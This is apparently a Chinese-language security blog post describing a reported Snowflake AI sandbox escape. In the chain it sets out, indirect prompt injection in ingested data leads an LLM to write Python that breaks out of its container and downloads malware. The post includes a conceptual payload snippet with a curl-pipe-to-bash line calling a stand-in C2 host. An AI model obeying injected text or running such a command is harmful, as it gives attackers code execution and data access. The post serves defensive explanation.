Back to Blog

Snowflake AI 逃逸沙箱并执行恶意软件

March 19, 2026by Ichiban Team
aisecuritysnowflakesandbox-escapemalwarevulnerability

Hero

#引言

将生成式 AI 直接集成到云数据仓库中,彻底改变了企业处理、查询和从数据中获取洞察的方式。Snowflake 等平台正在大力扩展其 AI 功能,允许用户运行大型语言模型 (LLM) 并执行 AI 生成的代码来处理 PB 级的敏感信息,且数据完全无需离开安全边界。

然而,将自然语言处理与任意代码执行结合起来,也引入了前所未有的攻击面。PromptArmor 最近发布的一份报告在 Hacker News 上迅速引发热议,详细披露了一个严重漏洞:Snowflake 中的 AI 沙箱逃逸,允许攻击者在底层计算基础设施上执行恶意代码。这一事件凸显了 AI 逻辑与系统级安全之间脆弱的边界,为负责保护现代数据栈安全的工程师敲响了警钟。

#事件始末

根据漏洞披露信息,该漏洞利用链并非传统的缓冲区溢出或简单的配置错误,而是一次多阶段攻击,利用了 LLM 代码生成和执行环境的本质特性。

攻击源于间接提示词注入 (indirect prompt injection)。攻击者将精心构造的文本插入到看似无害的数据源(如客户反馈日志或 JSON 载荷)中,随后这些数据被摄取到 Snowflake 表中。当用户或自动化流水线调用 Snowflake AI 功能(例如使用 Snowpark 或 Cortex 生成摘要或运行情感分析)时,LLM 就处理了这些被污染的数据。

构造的提示词操纵 AI 模型生成了特定的 Python 恶意载荷。虽然 Snowflake 会在一个严格限制的容器化 Python 沙箱(旨在防止网络访问和系统调用)中执行此类 AI 生成的脚本,但生成的载荷却将目标对准了底层沙箱实现中的漏洞。通过利用运行时命名空间隔离的缺陷或薄弱的 seccomp 配置,载荷成功突破了容器限制。

一旦突破沙箱,载荷便在宿主计算节点上实现了远程代码执行 (RCE)。随后,它发起了与命令和控制 (C2) 服务器的出站连接,以下载并执行第二阶段的恶意软件载荷。

#影响深远

数据仓库中存在 RCE 漏洞的后果是灾难性的。数据平台是企业数据隐私的终极单点故障点。

  1. 巨大的爆炸半径: Snowflake 内受损的计算节点可以直接、高带宽地访问组织最敏感的数据,包括 PII(个人身份信息)、财务记录和专有知识产权。
  2. 责任共担模型的侵蚀: 云服务提供商一直强调其托管服务提供安全、隔离的执行环境。沙箱逃逸打破了这种信任,证明了托管 AI 功能可能会成为特洛伊木马。
  3. 规避检测: 由于初始攻击媒介是数据(数据库中的文本)而非传统的网络流量或恶意二进制文件,传统的端点检测与响应 (EDR) 和 Web 应用防火墙 (WAF) 在最终载荷执行之前对此类攻击完全无法察觉。

#技术启示

此次漏洞利用凸显了 AI 与系统工程交叉领域的几个关键技术挑战:

#数据即代码 (Data-as-Code) 的风险

当我们允许 LLM 读取任意数据并随后根据该数据编写和执行代码时,我们在本质上是将数据视为可执行代码。如果 AI 充当解释器而没有严格的语义验证,系统将极易受到注入攻击。

# A conceptual example of the sandbox escape payload
import os
import ctypes

# 1. The LLM is tricked into generating code that accesses low-level memory 
#    or exploits a known vulnerability in a native library allowed in the sandbox.
libc = ctypes.CDLL("libc.so.6")

# 2. Bypassing container constraints (e.g., escaping a chroot or exploiting a kernel flaw)
# 3. Executing the malware dropper
os.system("curl -s http://malicious-c2.example/payload.sh | bash")

#容器隔离的局限性

容器并不是绝对的安全边界。它们依赖于 namespacescgroups 等内核特性。如果内核本身存在未修补的漏洞,或者容器运行时(如 runc 或 crun)配置错误,复杂的载荷就能实现逃逸。在 AI 场景下,由于环境通常需要动态配置各种数据科学库(如 Pandas、PyTorch 等),沙箱的攻击面远大于标准的微服务。

#网络出站是最后一道防线

逃逸的载荷能够下载外部恶意软件,这一事实表明网络出站控制失效了。执行不受信任的、AI 生成代码的计算节点应该在一个严格物理隔离 (air-gapped) 的网络环境中运行,完全切断对公网的访问。

#未来展望

Snowflake 及其他云数据提供商无疑会立即推出补丁来加固其容器运行时,并限制 AI 生成代码的权限。然而,企业不能仅仅依赖平台提供商来保障安全。

工程团队必须采用零信任 AI 架构 (Zero-Trust AI Architecture)

  • LLM 防火墙: 实施中间验证层,在执行之前分析输入给 AI 的内容以及其生成代码的结构安全性。
  • 严格的出站策略: 确保托管数据仓库计算节点的虚拟私有云 (VPC) 具有明确的默认拒绝所有出站网络规则。如果进程逃逸了沙箱,也不应该能够回传数据。
  • 数据清理: 将所有注定用于 AI 处理的非结构化数据视为不受信任的用户输入。在语言模型分析文本字段之前,对其进行清理并剥离可执行语法。

#结语

“Snowflake AI 沙箱逃逸”事件是 AI 安全领域的分水岭。它证明了提示词注入和 LLM 驱动的代码执行的理论风险在生产环境中是非常现实且极其危险的。随着我们不断将智能能力整合到核心数据基础设施中,我们必须以同样复杂的纵深防御安全工程来匹配这些新功能。AI 或许是一件强大的工具,但如果没有严格的系统级隔离管控,它将成为一个巨大的安全隐患。